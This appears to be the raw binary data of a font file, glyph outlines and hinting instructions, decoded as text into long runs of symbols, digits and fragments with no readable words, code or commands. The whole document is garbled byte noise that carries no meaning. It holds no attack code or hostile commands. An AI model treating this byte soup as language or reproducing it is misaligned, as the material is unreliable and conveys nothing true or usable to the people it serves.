@#%4@ 4@4@ 4? @ 4 @#%4@4@+,4 @: 4@4@Os4@>E4@.:4@$%4/@4@4@ 4/+]+]+q+r++++<+9+<++</+]++++++++99++910#53'#'37#53QȮؓɱbb4 @ @ 4 @ 4@ 4? @#%4@4 @9 4@4@Os4@>E4@.:4@$%4/@4@4@ 4/+]+]+q+r+++++<++</]+++9910#53'#'3#53`ؓU Z@  UU U@ U]  ??9/++++9/10!!!##53!Uo¤ e & b@ % U@U U UN +@ U+  ??9/+++++9/10!3###53!Q||ci[F@_817$G$E )9$&& ) )   EDEEDBDE1// ?=??=?=+6 E+ U U U @3U &/1$,76*?= *DF,B) *EF ??9/99999999/++++99+}99+}99+}99+}10]]]]]##&'&##"7#67&'&'&&56323276767632"&#"3[E].Z|`IBj .d:$6?\WN e])>M$DǖF%L>']_ 3 g9 36#:dki.ZR2-n')T3R<(M~O*;G&3S+'P&B1@;#h$&& U& U&%) U%)  0//@U/%;9;;9;9,5%BA@ U%A?A??>,A, % U @ U  U @; U U 9;5+0$&/,4*+*?A,>)+ * BA+ ??9/999999/+++++99++}99++}99++}99+++}10]]##&'&##"#67&'&'&&#"532332767633'&3P"0"5IJ4 1ovZ-808 (j)9.)91cd0q%:vB1L '%&NuomI-IQ 10SI)L3 K bB5A'=)c_$2$i'@%@/ U U &$&&$g$&$#'  7   '@ U')  U U U U U U @#U ](   $&#  & ??9/9999999++++++++99]+}9]+++}10]]]]##&'&##3276767632"&#"3E\,ZwF%J>']p 4 g9 37"9eki.\R~R+;G'1S)'v&&@ U%%#%%#F#"#%&@U% %&@ U &&( % U @U  U  U U U U @. U U  N'+  #%" + %+ ??9/9999999]+++++++++]+99++}9]++}10##&'&##327676767633'&3v/#5Id0:(,:+_$2K '%&Muom>-IQ 1&5A` I( d^%2$+$&&$&@8 U& IYi$$* U **) U@U U - U U U U U U @1U  ],&$ ! *)       ??99//99/999999]+++++++]9/+++29++}99]]++}]10!#&'#&##3273676767632"&#":/x3EG1x&/76NHYp 4 g9 37"9e_<R~An*X,(G'1S)'&(4i#!#@J U#%!!!!!'U%''& U * % U @U  U  U U U @; U U 0  N)#! + '&  +     ??99//99/999999]++++++++rr9/+29++}99]]r++}ıCTX@ -"=2]Y10]!#&'#&##3273676767633'&c#+-!c(,:+_$2K ')")6jpI7&5 D+9` I( dh(0i@   U UU@ U U@ U U   UU U U U@U]  ??9/+++++++++++++10##!#3!33†iMZW&@, %%@ U U U U U UU@ UU@ U U" UߴU U@ U %UU@U U U@ U U N + +??9/]++++++++++++++++++++++10##!#3!33W t-)&Fnm U @: U U    U U o UU@ U U U@U  &6??9/]9/++++++]+++}ć+}+++10#367m$ "09rHUE9ji& ֹ @ U U U @=U U  U %  U U%%UU@U U U U@U  $4Dt /?]?9/+++++++݇+++}ć++}+++++10#367nm.1&i&wmgmѹ U@HU U U    U  U    UU@ U UU@ U   ??9/9/++++++39Ƈ+++}9+++}9++10!!#!5!367mkUdaUj"099_UE9ji&@& F v &Fv@ U U U@GU U U U%  U U %  % U U @U U U @ U   + /??9/++++++Ƈ+++}ć++}++++++10]]!!#!5!367nBCm.1&ڄ&wmg iI@ UiDtI   U U@ U  UCTX  @ 4 4    ?Vw=I^M&@&F&FX&F @ U( U @( U  U U    @ U %%@ U U U0@ U%_o  U @ U   + /??9/]++333]]++}]]+++++}+++++10]]]]###367733I* #.$g-](@74A bW8@dEU6@ U U@ UUU@ U U@ U U U@ U UU U@- U U  UU U U U@U U U@! U]    ??99//3332229/]+++++++++++++++++++9/++++++10]]]!###"'&'&53733673¢xt,(±y xO< >FyocG>E&@te U U U U@ UU%@U U U U U@ UUU %@UU U@: U U UUUO_+ ??99//333229/]++++++++]]++++++++9/++++++10]]!##5#"'&'&533673ndcY^d$! ?,;cW{" 7;bYkt+T/! )@g[J U U Uд U U UU@U U U U U U U @U ]   ??9/32+++++++++++++++10]]]!#4'&#"#3$328Gċs,'\s[7a>EzmKc!@5 m \  J bUDw9Ivj   &U U U U@& U\#&& c"/   ??99//]3]+++++10]]]]]]]]]]]]]]]! '&5!&'&# '67632!32u u|S8ȟRGL T^~2pkbcU(> @-8HUey\lJ ( 8 l[cU $U U UU@G U"$$ U  U  U ? O  4!+    ??99//]3]]++++++++210]]]]]]]]]]]#"'&547!&'&#"'!2!3276({w LVN]v 8VSO `mWChXT`#@8Y""VuTFVy\IYx Y&@ UU U U U@/ U\%&  U  c$@U@ U   ??9/++]+++++++10]]]]]]]]]]]]]]]]!"'&'&576! &'&#"!3276ڹϧOJMEuאvwۆ~gjTۃxϋD'>!@D\ l ScdU7G[kH9iXf fUZj$#@ U#@ U@U U U U UU@/ U7#$U U U U U U@,UU U?O4"+  ??9/]]++++++++++++++++++10]]]]]]]]]]]]]]#"'&57632&'&#"!3276'u{놀BYYBjITSH"A'vJeeJano`:%|@!yXhrdU( @ @   A *??3?/2/]9/10]]]]]]]]!"'&547673!54&'7Fr*9|oO6AM, D%CT]a#b..G8vA:p27p% B@}Zj*??/r9/10]]]!5!4'&'7KNH%v>+Q[3M%$[!L  @k{ # ?2/92//9/99]]10!5!4'#"'&547632&'&#"326$4.#I.528ZzB7*&#X4%YN %*Oht$%2-P%Dx   @  ?2/9]3//99/10]!5!267&'&547632'&'&#"W>W33s7>Yf5*Z):(O% 2xi]igP'K,L Fg-:@3L:)veVWgwW Tdt%@.|.K.[.k..55@<  @   .8)22!88 *??39/93/9/2/]]9/99]]]10]]]]]]]]]]]]]]%!"'&54767327654&'#"'&547632'&'&#"326z&#A* nfՠ &M'X7C:AYuD: *0-:%-h]PWvxxF6J5C?>9FQ3-(0aqgt>).#$/99/9910%'7NJ2TLP@gw/9999/3/999910qq%'7'7JLBKN8TU @   @@   @ /993/]993/99/3/99]]3/99]]99]]10%'7'7'7*MJhNKALJ6VVT @   @@   /992/993/99/3/99]]3/99]]99]]10%'7'7''7JLJM"KN8TVZUk>@  /993/99/]999910%'7'7YJLJM8TVQ @ :   )  @5   &  @5&@:/     @ @ 4 /+M992/993/993/99/3/99_^]_]3/3/99]]99]]99]]10%'7'7'77'7MJNKALJ(F6VVTZZ&'%.@&%0%@%p%% %0@44@ ,( 4,O_0 #(@4(,?_*/]+99^]99//99/]9/]322++9/9_^]10!5327654'&'&''67&''676324#"32'I?G     &QH0~L`?`'p&S,.-1@18/A* @V + !/ "22!z@Q'/   Dp~ O _ o  _o4/]q]]]/qr^]/2^]q9/^]10]q##"&54336324#"3204H0LvtRZ 7URZ5,0- 14Bc&bn&@}4%5E! ! ~   34%9IY(hx%  @O_%%@!4%%_%@?%O%%%%%% %0%%J/]rq^]+_^]9/29^]]/99+/^]3/]]q9/q9/9910]]q+#"&#"'632327&547632&#"32n^L5 9  (0D5;-1$A51!z(!# F #$8>1&W@:5$: +@/]/]]q99]]]q99]10#'378WMM挌W@:5$: +@/]/]]q99]]]q99]10#'#73WMMW8׌@h   iZ)9Izk:JZ>/  pa0@P/rrr99/3]]210]]]qqqqqqqrrrqrr#"&#"'632327@R 4V_nR@ 4 4*/2/3+/999/2/3/9/9910+47&'&547632&#"326n*d5;- $+]! @.#8> 4&2y -@4  ?_/]32/2210+'654672/ /46K%|F&1 !64A"@ 4" A 4@ 4 /55]++++55%!64/@ $ A @ 4  /55]++55 n65X@0!! A 4 4 4 4 444:/5+++++++]+q5%65d#@ 4# A 4 4 4 4 4 4 @ 4  </5]q+++++++++5T65(\/04@ 4DA::_::/]5+++]5T65\@#@ 4#A<<_<</]5++5 ^69+p  @ 4u A 142/5/+5++q5%669)" 4"@ 4""e""A4/5+]++52c697@)00A_000@000/00040@40@ 40/+++]qr5+52c697@)00A_000@000/00040@40@ 40/+++]qr5+52c679c`@bb(A00AN@24`NNNNNN_000@000/00040@40@ 40/+++]qr5/]q+55+5+552c679c`@bb(A00AN@24`NNNNNN_000@000/00040@40@ 40/+++]qr5/]q+55+5+552Vz659p'@<<<}<<A_YYYY@ 4Y/+]5+]5$669 |%@<7& AT/TTT@4T@ 4T/++]5+5:%6(3@ A/55+]55:%6(3@ A/55+]55%'6)3@  A/55+55%'6)3@  A/55+55:%6(1x@#!A ""/]55+55:%6(1x@#!A ""/]55+55%6)1x(@ 4A ?/]55++55%6)1x(@ 4A ?/]55++55:6(10!@A @ 4   /]+55+55:6(10!@A @ 4   /]+55+556)1!@A@ 4/]+55+556)1!@A@ 4/]+55+55:@6Xi@ +%A4?55+55:@6Xi@ +%A4?55+55@V6(i@  A$?55+55@V6(i@  A$?55+55:%6(0x@#!A "?""/]555+555:%6(0x@#!A "?""/]555+555%6)0x'@ Ao ?/]q555+555%6)0x'@ Ao ?/]q555+555:%6(2x'@''!A&&&/]5555+]5555:%6(2x'@''!A&&&/]5555+]5555%6)2x3@!A@ 4/o?/]q+5555+]5555%6)2x3@!A@ 4/o?/]q+5555+]5555:Q6(2'@'!A @4/  /]+5555+5555:Q6(2'@'!A @4/  /]+5555+5555Q6)2'@A@4//]+5555+5555Q6)2'@A@4//]+5555+55556N z69p@2-AJ/J_JpJJJJ/]5+56N5z69p@D?)3A\/\_\p\\\\/]5+5%=z69,p2@A04@44/4_4o444@4444/++]q5+5%=z69,p2@A04@44/4_4o444@4444/++]q5+56N 61,x$@31A2 22 42/+]55+556N561,x%@ EC)3AD@ 4D DD/]+55+55%=61x,@A @4 4/++]55+55%=61x,@A @4 4/++]55+556N u6.|!@31A222@ 42/+]55+556N5i6.;@EEEEE?A@DD@  4D@ 4D/++]55+]q55]L=k6.!@A@ 4/+]55+55L=k6.!@A@ 4/+]55+556N u61|%@33333@ 431A2/55++]556N5i61&@A?A?DDDD 4D/+]55+55=k61!@A@ 4/+]55+55=k61!@A@ 4/+]55+556N 6/Tx&@71A66 46/+]555+5556N56/Tx&@IC)3AHH 4H/+]555+555%=6/x*@!A  4 /+]555+555%=6/x*@!A  4 /+]555+5556N u62T9@&o:::1A/6@6p6666/]q5555]+]q55556N5i62"t@SL@894L@)-4L@4LLL_LoLLLCA_HoHHH/HHHHHH0HHHH@4C4H@ 4H 4H/+++]qr5555+qr+++5555Q=k62'@$A/  @4 /+]5555+5555Q=k62'@$A/  @4 /+]5555+55552%!63dN@A""$$@4@40/]qr++55]+552%!63dN@A""$$@4@40/]qr++55]+55_@j6i@ A&?55+55_@j6i@ A&?55+55_j6-@A@ 4/+]5+5_j6-@A@ 4/+]5+52!673d-t@ HFA@1A""$$GGG@ 4G""$$@4@40/]qr++55]/+]5]+55+52!673d-t@ HFA@1A""$$GGG@ 4G""$$@4@40/]qr++55]/+]5]+55+5_%6.Px/@!0@A?@4@ 4/++]55+]55_%6.Px/@!0@A?@4@ 4/++]55+]55_Lj6.!@A@ 4/+]55+55_Lj6.!@A@ 4/+]55+55_%6/d@; 4@ A @ 4  @ 4 /+]+555++555_%6/d@; 4@ A @ 4  @ 4 /+]+555++5558%60(@/@A@ 4@ 4/++]555+5558%60(@/@A@ 4@ 4/++]555+555I%62P@>@A ` p  @4 @ 4 @ 4 /+++]5555+5555I%62P@>@A ` p  @4 @ 4 @ 4 /+++]5555+5555JF63%@ A @ 4 O  /]+55+55JF63%@ A @ 4 O  /]+55+55JF66V@ 8A!4!!/]+5+5JF66V@ 8A!4!!/]+5+5Jp6$/@A"""4" 4"/++]q55+55Jp6$/@A"""4" 4"/++]q55+55Jp6-8$@4`%A  /]5+]+5Jp6-8$@4`%A  /]5+]+5Jop66'@ %A!@40!@!@!!!/]q+5+5Jop66'@ %A!@40!@!@!!!/]q+5+5Jp67-8-,2@ ## A@4`%A$  /]5/5+]+5+5Jp67-8-,2@ ## A@4`%A$  /]5/5+]+5+5JF6.+@A$@4$@ 4$O$$$$/]++55+55JF6.+@A$@4$@ 4$O$$$$/]++55+55JF62|,@##A(((4(/+]5555+5555JF62|,@##A(((4(/+]5555+5555>l67-8-4@MK AIG#AL@ 4L@ 4LH@ 4H/+5/++5+5+5>l67-8-4@MK AIG#AL@ 4L@ 4LH@ 4H/+5/++5+5+5?67-8-X4@@@66A><AA@ 4A@ 4A=@ 4=/+5/++5+5+5?67-8-X4@@@66A><AA@ 4A@ 4A=@ 4=/+5/++5+5+5>W601G@ 4GGAL@ 4L 4L/++555++555>W601G@ 4GGAL@ 4L 4L/++555++555?560X1<@ 4<<AA@ 4A 4A/++555++555?560X1<@ 4<<AA@ 4A 4A/++555++555>670/<Q@ ]W#AG@ 4GGA\/\`\\\L@ 4L 4L/++555/]555++555+555>670/<Q@ ]W#AG@ 4GGA\/\`\\\L@ 4L 4L/++555/]555++555+555?670X/<Q@ RLA<@ 4<<AQ/Q`QQQA@ 4A 4A/++555/]555++555+555?670X/<Q@ RLA<@ 4<<AQ/Q`QQQA@ 4A 4A/++555/]555++555+555>LW6.x$@E?AD@ 4D 4D/++55+55>LW6.x$@E?AD@ 4D 4D/++55+55L>6.$@71A6@ 46 46/++55+55L>6.$@71A6@ 46 46/++55+55>l6/x<#@ICAH/H`HHH/]555+555>l6/x<#@ICAH/H`HHH/]555+555%6/<)@ ;5A:@ 4:/::/]+555+555%6/<)@ ;5A:@ 4:/::/]+555+555%Y6/X<1@DDD!!AC@ 4C/CCCC/]+555+]555%Y6/X<1@DDD!!AC@ 4C/CCCC/]+555+]555*N 6/d@FB@,C4BBB<AA@#[4A@4_AoAAA/A?ApAA/]q++555+]+5556N6/<2@?9A>>/>>>>> 4>/+]r555+555%,6/x#@(" A/'?'`'''/]555+555%'6/d<4@ 3- A242@ 42/222/]++555+555'%O*@bPD6y ' @, @ !    @ p  $A  *??3?9/]/2/]]9/10]]]]]_]!"'&'&54767!!&'&547632'4'&#"OkӁOV3%(+ :u7?>FUc,%h/"!)%HNYwQ(W[%~ *0G]jwubW/8)%1'O6-5+4+ 4@ ++A,@ 4, 4,/++5+++5'O6-5+4+ 4@ ++A,@ 4, 4,/++5+++5$[6*- @$" A#@ 4# 4#/++5+56+- @ A@ 4 4/++5+5'O#67-X-L3@1/A-+A0@ 40,@ 4, 4,/++5/+5+5+5'O#67-X-L3@1/A-+A0@ 40,@ 4, 4,/++5/+5+5+5$6*6--S@7(@ 4(( A$" A''''/''''@4'@ 4'#@ 4# 4#/++5/++]qr5+5++56+6--C@)$@ 4$$ A  A##@4#@ 4#@ 4 4/++5/++]5+5++5'%O,6/L(5@55A?4`444/]555+]555'%O,6/L(5@55A?4`444/]555+]555%$6*/<,@ 4,&A+/+P+`++@ 4+@ 4+/++]555++555%6+/3@("A'/'@''4'4'/++]555+555'6015@45+A0@ 40 40/++555++555'6015@45+A0@ 40 40/++555++555$[6*0((@,"A'@ 4' 4'/++555+5556+0((@(A#@ 4# 4#/++555+555'%Oh62L-@55/A4@4`4p444/]5555+]5555'%Oh62L-@55/A4@4`4p444/]5555+]5555%$6*2,R,@& 4,&A+/+_++++/+P++@4+@ 4+@ 4+/+++]qr5555++5555%6+2,?(@ 4("A'/'@'`'''''4'/+]5555++5555Fg6,-D~@0;;;))A2% >1d..,3!%  !'*  .1 ?3222/3/223/10#"'!"''7! %654#"!"54767673 $3233 >K p]$fq? F|{KXXscPGd[>K%,29 9i;%ABsQ`E/KDVA!>OY'%'B)(!A #&?/10!!5! %67654#"!"54767673 $32vVk{yrنF|{KXXscPGdI.09/,;%ABsQ`E/KDVA!>%@0Y--+2 1 $A  &)  -0 ?22/3/10#"'!!5! %67654#"!"54767673 $3233@K }cE{yrنF|{KXXscPGd[>K%0.9/,;%ABsQ`E/KDVA!>OY'%6-<<@%----@ 4-- A/0?000 000 40/+]q55++]55%v6.<<@% FFFFF@ 4FF##A/I?II`III 4I/+]q55++]55%'6/|<8@!@ 4A/!?!!`!!! 4!/+]q55++]55%60|<:@#7777@ 477''A/:?::`::: 4:/+]q55++]55-%36-hIJJ 4@*JJAKKKKKK@!/4K@ 4K@ 4K/+++]5]++q5-%36-hIJJ 4@*JJAKKKKKK@!/4K@ 4K@ 4K/+++]5]++q5%'6/-P8;#4@ 42A?O@6>4/+]5+++]q5%'6/-P8;#4@ 42A?O@6>4/+]5+++]q5-%6/h|\@ ToTT@ 4TN3=ASS@'4S@=>4S@ 4S-4/+5/+++q555]++]q555-%6/h|\@ ToTT@ 4TN3=ASS@'4S@=>4S@ 4S-4/+5/+++q555]++]q555%'6/n('@((( A?'O''''/]555+]555%'6/n('@((( A?'O''''/]555+]555-360(@TN.)AO@ 4O 4O/++555+555-360(@TN.)AO@ 4O 4O/++555+555'6/0(@(A#@ 4# 4#/++555+555'6/0(@(A#@ 4# 4#/++555+555%61<<@%8888@ 488 A/;?;;; ;;; 4;/+]q55++]55%v62<<@% QQQQQ@ 4QQ##A/T?TT`TTT 4T/+]q55++]55%'63|<8@!)))@ 4))A/,?,,`,,, 4,/+]q55++]55%64|<:@#BBBB@ 4BB((A/E?EE`EEE 4E/+]q55++]55%!61mpn@ >>>1\4>4>@ 4>>A166=@<4===_=o==P=`==.<4./+5/]qr+55]++++qr55%v!62mpgW@$1\4WWOW W@WWWWQAJOOV@<4VVV_VoVVPV`VVG<4G/+5/]qr+55]+]qr+55%'!63m/@<4///P/`////4/@%'4// A&'&'?.O..@<4..._.o..P.`..*4t/]+5/]qr+5]5]+++]qr+55%!64mH<4H@4HHHPHHHH@%'4HH""A{7z8?@?@?GOGG@<4GGG_GoGGPG`GG8*4t88/]+5/]qr+5]5]++]qr++55L61.$@>8 A=@ 4= 4=/++55+55Lv62.$@WQAAV@ 4V 4V/++55+55L'63.$@/)A.@ 4. 4./++55+55L64.$@HBAG@ 4G 4G/++55+55611$@>8 A=@ 4= 4=/++55+55v621$@WQAAV@ 4V 4V/++55+55'631$@/)A.@ 4. 4./++55+55641$@HBAG@ 4G 4G/++55+55%!61nHIɳB74B264B&+4B!$4B4B@ 4BBBBA6@41w4A_AoAAA@ 4A@4A4A<=4A@ F4A@I5A.d4.1c4.04v../5]+++5/++++++qr555]++]q++++++555%v!62nHIҳ[74[=5[264[&-4[!$4[@4[`[[@[P[[[AO@4IJdMtMOZ_ZoZZZ@ 4Z@4Z4Z<=4Z@ F4Z@I5ZGd4G1c4G04G/5+++5/++++++qr555]q++]q++++++555%'!63nI3:43=>43'943!$43@43P3`333 A(г74'г74&г74''4'@&4'$'""s#s$s%&&2_2o222@ 42@4242<=42@ F42@I52d4*c4)4ش4/5++++5/++++++qr555]qr++++++]+++++555%!64nI@PLL@LPLLLLL;4L=>4L':4L@ !$4LL""AAг74@г74?г74@'4@@+4@$@;dt@?? K_KoKKK@ 4K@4K4K<=4K@ F4K@I5K8d48*c48)48ش48/5++++5/++++++qr555]r++++++++++]q555G  66c@ 99999@ 499''A(%4'%4&%4* 4) 4(г $4' $4&@ $4:@Sc4:@' "4:0::::/:_:o::: :`:p::::4/+5/]qr++5++++++++++]5G  66c@ 99999@ 499''A(%4'%4&%4* 4) 4(г $4' $4&@ $4:@Sc4:@' "4:0::::/:_:o::: :`:p::::4/+5/]qr++5++++++++++]5% 66c@( 4A@(B4@(B4@(B4C4C4C4 4 4 4 4 4 44 4 4 4CE4=>4;5@ 40p`p/]qr++++5++++++++++++++++++q5% 66c@( 4A@(B4@(B4@(B4C4C4C4 4 4 4 4 4 44 4 4 4CE4=>4;5@ 40p`p/]qr++++5++++++++++++++++++q5G !6-N:::@::$$A9@Ad48@Ad4(%4'%4&%4* 4) 4(г $4' $4&@% $4&&9p99999`9p9o99999X59R59JK49DG49A59<59@ [49@ 494/+5/++++++++]qr5]+++++++++++]5G !6-N:::@::$$A9@Ad48@Ad4(%4'%4&%4* 4) 4(г $4' $4&@% $4&&9p99999`9p9o99999X59R59JK49DG49A59<59@ [49@ 494/+5/++++++++]qr5]+++++++++++]5%!6-P,.44@ ARc4@'Q4@'c4 4 4 4 4 4 44 4 4@' 4 p`poX5R5JK4DG4A5<5@ [4@ 4/++++++++]qr5]++++++++++++++++qr5%!6-P,.44@ ARc4@'Q4@'c4 4 4 4 4 4 44 4 4@' 4 p`poX5R5JK4DG4A5<5@ [4@ 4/++++++++]qr5]++++++++++++++++qr5G !6n0I >F5>.04>',4>4> 4>>''A)4(4'4&4(%4'%4&%4* 4) 4(г $4' $4&@ $4&AAPA`ApAAAe4AXY4AFH4A<=4A@ 4A@4A4/+5/++++++]q5]55]++++++++++++++++++555G !6n0I >F5>.04>',4>4> 4>>''A)4(4'4&4(%4'%4&%4* 4) 4(г $4' $4&@ $4&AAPA`ApAAAe4AXY4AFH4A<=4A@ 4A@4A4/+5/++++++]q5]55]++++++++++++++++++555%!6nI@  6;44 4A 4 4 4 4 4 44 4 4@ 4 _oP`pe4XY4FH4<=4@ 4@4/++++++]q555]++++++++++++++qr555%!6nI@  6;44 4A 4 4 4 4 4 44 4 4@ 4 _oP`pe4XY4FH4<=4@ 4@4/++++++]q555]++++++++++++++qr555G] 36o,tx>>@&>> A=@G5=@>@&>> A=@G5=@@ ++%A- 4/ 4.@ 44@ 44?+55++++]55E5v6T>@ ++%A- 4/ 4.@ 44@ 44?+55++++]55@6(i@ A ?55+55@6(i@ A ?55+55El56/,<(+@+%A**/**/]555+]555El56/,<(+@+%A**/**/]555+]5556N 6'-@;9A:/:`:::::/]5+56N56(-@MK)3AL/L`LLLLL/]5+5=6)-*@%%A$/$$$$$$$@4$/+]5+5=6)-*@%%A$/$$$$$$$@4$/+]5+56 69< ] %%%%/4@9%%A% 4%4%4%@ 4% 4_%%%@%%%%/%%%%%/]qr+++++5++]5%69<_ (((@@((A--/-?-_-o----@C5-@574-@./4-@*+4- 4-@#4-@4-@ 4-/++++++++]q5+]5G@ Y8Hyh  ?2/10]]]]]]]#"&'&'&#"'3233HB]@8 !CfG=.9T\C<%5G>d}akN69D*@ A?_o 4@4/++]5+5t6.d&@ A?Oo/]55+552cu66g@ 777@77A-- 45@ 4 4....@.p....4. 4./++]qr55+++]+]rq552cu66g@ 777@77A-- 45@ 4 4....@.p....4. 4./++]qr55+++]+]rq552cu.4@$ 4' 404Yi`  $& 4 (33 /&6 ,11/@&$/"?""" &  *?2/?99/qr229/]322//39/9/+39910_^]]]+++#"'&'&'7327677#"'&#"'63232767 547632&#"uzBF:K+WvB,{lRN .\y  0;x[08V?&QEa #>/U ! K!%#gXfAd2cu$2c|664+@ 4++A-@4@---?-`---/]q+5++52c|664+@ 4++A-@4@---?-`---/]q+5++52cuQ6!@*/BG2-656p@???<$ A>_>>/]5+]5$e666@777877//A9?99/]5+]5r6681@$Ao/?_@4@&*4/++]qr5+5r6681@$Ao/?_@4@&*4/++]qr5+52cu6-T*8@-+((A0,@,,/,?,,,,,@ 4,@4,/++]q5+52cu6-T*8@-+((A0,@,,/,?,,,,,@ 4,@4,/++]q5+5265p,8>>@>@AAAAA4A 4A/++q55+]55$N66p@;@99; A:JL4:@G4:-64::?]+++55+]556)1$@#A@ 4 4/++55+556)1$@#A@ 4 4/++55+55265qT8;F 4@ F<AAA4A 4A/++q555++555$N66q@9A@ 4A7 A:@I5::: 4:?+r+555++555E(@@   @4%(*%@%4%)#!!*!!?!O!!! #!'@@ %4 4 4   @ 4  ''/9/99]+_^]+++M99_^]_q]qq/+29/+310_^]_^]%!"'&'&6767676767632&#"3!ot5"YYQdF!* ==6A2$ex^r @(I00/oN60GM.|LM74M:EWI@G W g  @ v  ?9?99]9/210]]!"'&'&76767!3# 3!ot1pW*u^W 7 ;!3#V011&7A@)(44 4/@@ 4 @@#$4@ 4/& 4@ 4@@4@@R4 @ / 8 $48!>&&&&7/4@ 7 ;!% B.2A[KRh204 }.0&*s@ 9B4$4@/4  @@4 @@4?_/]9+9/9/+99910+++#"'##532767'&'1QI1[JIL0>PN7 $ )B&<%L#E(E,E(EE(E~&3 4!4@="4; K [ ///..&, @4@ @4 @ 4 #%&@'&&@#4&& ,@@ 4' @ &@1 4./*!/&%&!&! ? _   W/]9]]2]999+/_^]9^]/+9/+3229/+++9/9/9/10_^]q+++#"'###"54767327654'73254'73254'7&3+$A;hGh& 7\HY9( ;Q)#,  !!o;(I^4 qCx 'GUFb&*J2#/+/*14$923?DPnz@gY:)@.ui {omU40?......QZE%D h|d^K0 !    bU=0W^N\ZD7)+H%##'DB'dfrmki{x {~ /9/322222/9/322323/]]]23222223]]]2322222310#"'! '#"&547&'&54767&546326! 6324&#"326'&#"4&#"3264'&'#"'!#"'632!6324&#"326'!32%4&#"326hdN7(!!(7NdhhdN7(!!(7NdhN. /.! .9/ .. !.\X#8'('8#X\S#8''8#S. !./ .x.! .. /֚7MM7՚7MM7g!./ ..3mm /.! ..ƾ))?))(d .. /.m .. !./ 2{!$,/;G"@E , ,' %$+# -/@,, ,,@64,0 #4@@4@ 4  @@ 4@@ 4`p ? _   */]]+2+9/3/9/_^]9/++9+10_^]_]+++#"&''&54767&'&#"'6329! "h*T%C39Dl$+Hr< o # ]I!~oKk @CD4 ?+5&a\b@  @@%[4  @@%4@%+4?_/]++9+9/910#"&#"'632327a&?  ?I# &@ 4!4ֳ4@ 4  @@4@ 4 @@ 4@@ 4 ?_W/]++/3++10_^]_qq++++#"'&''732767"547632&#":@U !$>8fY')J&!NNV  a4a1*0O0&@l4  4 @/ 4/ 4 @4 @ @4 @ 4P  ?_W/]q+++99+_^]99+_^]/29/^]_]+310_^]+!"&'&7676632&#"3!7,'^+)1H9-&U3XjT!;$)% &{@l4  4 @/ 4/ 4 @4 @ @4 @ 4P  ?_W/]q+++99+_^]99+_^]/29/^]_]+310_^]+!"&'&7676632&#"3!7,'^+)1H9-&U3XjT!;$)% &@O"4 444.@ @4   @@ 4 @ 4?_W/]+99/3+99/_^]^]+9/_^]999/10++++'7!"54767327654'7@$M#% 6UF[2(,eE(EkҒL[4 oEx'I_l67-/<?@$UO#AIG AT/T`TTTH@ 4H 4H/++5/]555+5+555>l67-/<?@$UO#AIG AT/T`TTTH@ 4H 4H/++5/]555+5+555?67-X/<?@$JDA<<66AI/I`III=@ 4= 4=/++5/]555+5+555?67-X/<?@$JDA<<66AI/I`III=@ 4= 4=/++5/]555+5+555>l6-a$@EECAD@ 4D 4D/++5+]5>l6-a$@EECAD@ 4D 4D/++5+]56- @75A6@ 46 46/++5+56- @75A6@ 46 46/++5+5*N 6-d@ >>2+A=/5+56N6-@(1; 4;@4;;928A`::@ 4:/+q5+]++56-, @$$ A#@ 4# 4#/++5+5'6- @/- A.@ 4. 4./++5+5y3$(,@%  !!*,'@%%/%%% ##@ 4. @@ @4##@ 4#@ ,'* %0%@%% ?9]9/+M9/+9/M9/3_^]+9/9/9/9/_^]10]]'6767'&54767632&'&#"6#33#0bq] t3(0>PQK1 (4%='0h>353__%'IB@&>2SSQ!@ ('K-J.&D!Ogg6 q `@}Zj ,?3?/r9/9/210]]]]!5!4'&'7#"'&547KNH6&8!^%u?,P[3M0&27/E4@ 4/993/q++993/++99/3/++_^]+99_^]+993/++_^]+9910'7'7'7 96496T96L`$`U`$`|`$`x V@<  @ 4 ~ O _ o  @yj9IY*@@ 4@P1 @@4eu6FV%@C 4P`puFVf5&   @ @174 @"%4 @ 4/+_^]992/++_^]99]]]]]3/]99/3/]]]+99_^]_]]]]3/+_^]]]+99_^]_]]]]]]]+9910%'7'7''7JLJL JL8}@}}@}7}@}|KF|@1@$74@@$74/!@@b4@MW4HH4@#4/q993/++++_^]99/+992/+9910%'7'71"^$v"^$.FFFFmp7 @  @4 @&-4 @4@ &-4@4@&-4@@.C4@+4@4&C4@4@#4@.34@##44  @#4 @ @4 #4/+993/++993/_^]+++99/++3/+++++993/++99++9910%'7'7''7"f"D"f""f"FFFFFF%6-np#@77A?6O6666/]555+555%v6.np#@PPA?OOOOOO/]555+555^%6#@ A4 4/++5+5( ! //103#"&'3326{{SFQS}~DCAd//105!hhW%6v@ 4 @4PP    A 4  /]+5+5]q++65K@-./-./0س 4/س 4.س 4-س 4,س 4[[vvA+5+++++q650@ 0 P `  @ 4 /KKffA+5.]5.+]5S$65,HddAh4h5h:5h@AB4@hPhh0h@hhh.]qr++++5+5J$65d,F@ KK&&AX4X5X:5X@AB4@XPXX0X@XXX.]qr++++5+5SB69T8W22T!$4T@4T T@TT`T T0T@TpTTT@TO2?@^@ 4^.+5]+]qr++5]JB698a0 4D%(4D "4D4D@ 4pDDD@ D?0A @ 4 N@ H4N.+5.+5]+q++++5+S 660cbO@ 4PO`OOOAQCE4Q=>4Q;5Q@ 4Q0QQQQpQQQQ`QpQQQ/]qr++++5+]+5J 660cgB 4@B?03A123ACE4A=>4A;5A@ 4A0AAAApAAAA`ApAAA/]qr++++5]++5S!6-Nq@&QQ<Zsk@ 44@ 4@ 4 @ @ <4   /9+_^]//M2+10_^]+++&#"'676763632$0CzAH3K03RZ.b!!r)ΙmZ5vߋ !64S\\**A+55/55!64CLLA+55/55'@ 4 4%0 49I9I=Mp####  @+4 @ @ 4   "$  $) %    0/^]q]^]]q9/??22?22?]q+M+10_^]q_]]]+++#"'##5353!!6324'&#"3276n~߼krrxr:JNA4UM@#鞴ÄssknUo$1@x G4'7G* ''*'+///  !$4G **  P `  + + /?? &%&3 /^]]9/]qr??]qr9/910q+_^]_]]]]]]^]!!"&5!! 4'&#!!2764'&#!!27676I<=&!knUoQa@g''D(8xy ( 8 E Zj&&&/?_I  ??99^]]]]/]10]]]]]]]qq]]q#"$'7! 65'&# '6763 a 4 o      % $$' $?/]q^]??9/]9/]qr+?M9_^]10^]]]q]]]q]]]q]]qqqqq]q]&#"&# !2#"'&57632676328/!2(%twvtf :8ѝ ($Zjh hko@@,Z $@o !$4S$$#x#GXF P` /?_o && /^]9/]qr?]qr?10]]]]]]]]]q]]q+#!"&5!!2%&#!! 76 tgI<=[~YN9g/ M6)DI LpdgJ S@1%/      &@@ 4/+M9/??9/10_^]_]!! 4763!!5!!"3n^.070gRk9ŭH>X>1F$ѹ @: 4###  +@@V 49#hx;#!   %O/&$/   ? O _  